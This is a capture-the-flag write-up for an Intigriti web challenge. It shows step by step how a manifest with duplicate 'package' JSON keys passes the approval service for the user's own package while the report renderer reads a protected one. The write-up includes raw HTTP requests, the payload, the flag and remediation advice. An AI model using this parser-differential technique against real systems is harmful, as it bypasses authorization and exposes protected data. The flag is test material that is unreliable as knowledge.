Intigriti CTF · Web

0726 — Canonically Yours

A duplicate JSON-key parser differential caused authorization to validate one package while report rendering used another, exposing a protected Registry Observatory report.

Target: challenge-0726.intigriti.io Duplicate JSON keys Broken access control

Challenge information

ChallengeCanonically Yours
PlatformIntigriti
CategoryWeb / API security
VulnerabilityDuplicate JSON-key parser differential
ImpactBroken access control and protected-report disclosure

Registry Observatory generates signed compatibility reports for software packages. The objective was to retrieve a protected report without modifying registry data or attacking the underlying infrastructure.

Step 1 — Create an account

I created a normal account on the challenge website. The application assigned a unique private namespace to the account.

Registry Observatory registration page
Registry Observatory registration page

Step 2 — Obtain the namespace and CSRF token

After logging in, I inspected the authenticated request below.

GET /api/me HTTP/2
Host: challenge-0726.intigriti.io

The response contains the assigned private namespace and a CSRF token required for protected POST requests.

{
  "user": {
    "username": "REDACTED",
    "namespace": "YOUR_NAMESPACE"
  },
  "csrf_token": "REDACTED"
}
Namespace and CSRF token returned by the API
Namespace and CSRF token returned by the API

Step 3 — Identify the protected package

The Observatory Archive contains package transfer records, component details, and version references. The records identify the protected target:

Namespace: core
Package: security-notes
Version: 1.0.0

Therefore, the protected report belongs to @core/security-notes@1.0.0.

Observatory Archive containing the target package details
Observatory Archive package records

Step 4 — Understand the normal manifest workflow

The Manifest Studio lets a user create a manifest, request a time-limited approval, and run a read-only preflight report. A normal report for the owned legacy-adapter package revealed the following hint:

Historical ingestion retains the initial package declaration;
report rendering uses reconstructed manifest data.

This indicated that different components might interpret the manifest differently.

Normal manifest workflow and hint
Normal manifest workflow and the parser-differential hint

Step 5 — Create a duplicate-key manifest

I intercepted the /api/manifests/sign request in Burp Suite and created a raw JSON manifest with two top-level properties named package. Replace YOUR_NAMESPACE with the namespace returned by /api/me.

{
  "package": {
    "scope": "YOUR_NAMESPACE",
    "name": "legacy-adapter",
    "version": "0.9.0"
  },
  "package": {
    "scope": "core",
    "name": "security-notes",
    "version": "1.0.0"
  },
  "metadata": {
    "description": "Compatibility check",
    "visibility": "private"
  },
  "operation": "preflight"
}

The first package belongs to the current account, @YOUR_NAMESPACE/legacy-adapter. The later declaration references @core/security-notes.

Important: I Base64-encoded the exact raw JSON without formatting it. Many JSON formatters silently remove duplicate object keys, which breaks the proof of concept.
Raw duplicate-key JSON manifest
Raw manifest containing duplicate package keys
Burp Suite request to sign the duplicate-key manifest and the successful approval response
Signing the exact Base64-encoded manifest in Burp Suite (session and CSRF values redacted)

Step 6 — Request manifest approval

I sent the Base64-encoded manifest to the signing endpoint:

POST /api/manifests/sign HTTP/2
Host: challenge-0726.intigriti.io
Content-Type: application/json
X-Csrf-Token: REDACTED
Cookie: REDACTED

{
  "manifest_b64": "BASE64_ENCODED_DUPLICATE_KEY_MANIFEST"
}

The application accepted the manifest and returned a valid approval.

Successful manifest signing response
Successful signing response

Step 7 — Publish the exact same signed manifest

I submitted the same Base64 manifest and approval fields to /api/publications. The request must include the CSRF token and Content-Type: application/json.

POST /api/publications HTTP/2
Host: challenge-0726.intigriti.io
Content-Type: application/json
X-Csrf-Token: REDACTED
Cookie: REDACTED

{
  "manifest_b64": "THE_EXACT_SAME_BASE64_VALUE",
  "approval_id": "REDACTED",
  "manifest_sha256": "REDACTED",
  "nonce": "REDACTED",
  "expires_at": 0,
  "signature": "REDACTED"
}

The server created a ready publication and returned a publication ID.

Successful publication response
Publication created successfully

Step 8 — Retrieve the protected report

I requested the generated report:

GET /api/publications/PUBLICATION_ID HTTP/2
Host: challenge-0726.intigriti.io
Cookie: REDACTED

The report was generated for the protected package @core/security-notes@1.0.0.

Protected report containing the flag
Protected report disclosure
Flag
INTIGRITI{019f8700-4613-74fb-923e-781903e4bee9}

Root cause and impact

The approval service and report-generation service interpret duplicate JSON keys differently. The raw manifest bytes never change, so its SHA-256 digest and signature remain valid, but the authorization decision and report target refer to different package declarations.

ComponentPackage interpreted
Manifest approval serviceFirst package object: owned legacy-adapter package
Report generation serviceLater package object: protected core/security-notes package

As a result, any authenticated user could bypass the namespace authorization boundary and read a protected report for a platform-maintained package.

Remediation

  1. Reject JSON documents containing duplicate member names at the API boundary.
  2. Parse the manifest once and use the same canonical object for authorization, signing, and rendering.
  3. Sign a canonical serialization of the validated manifest, not opaque bytes that downstream components reparse.
  4. Add tests that verify every consumer agrees on security-relevant fields.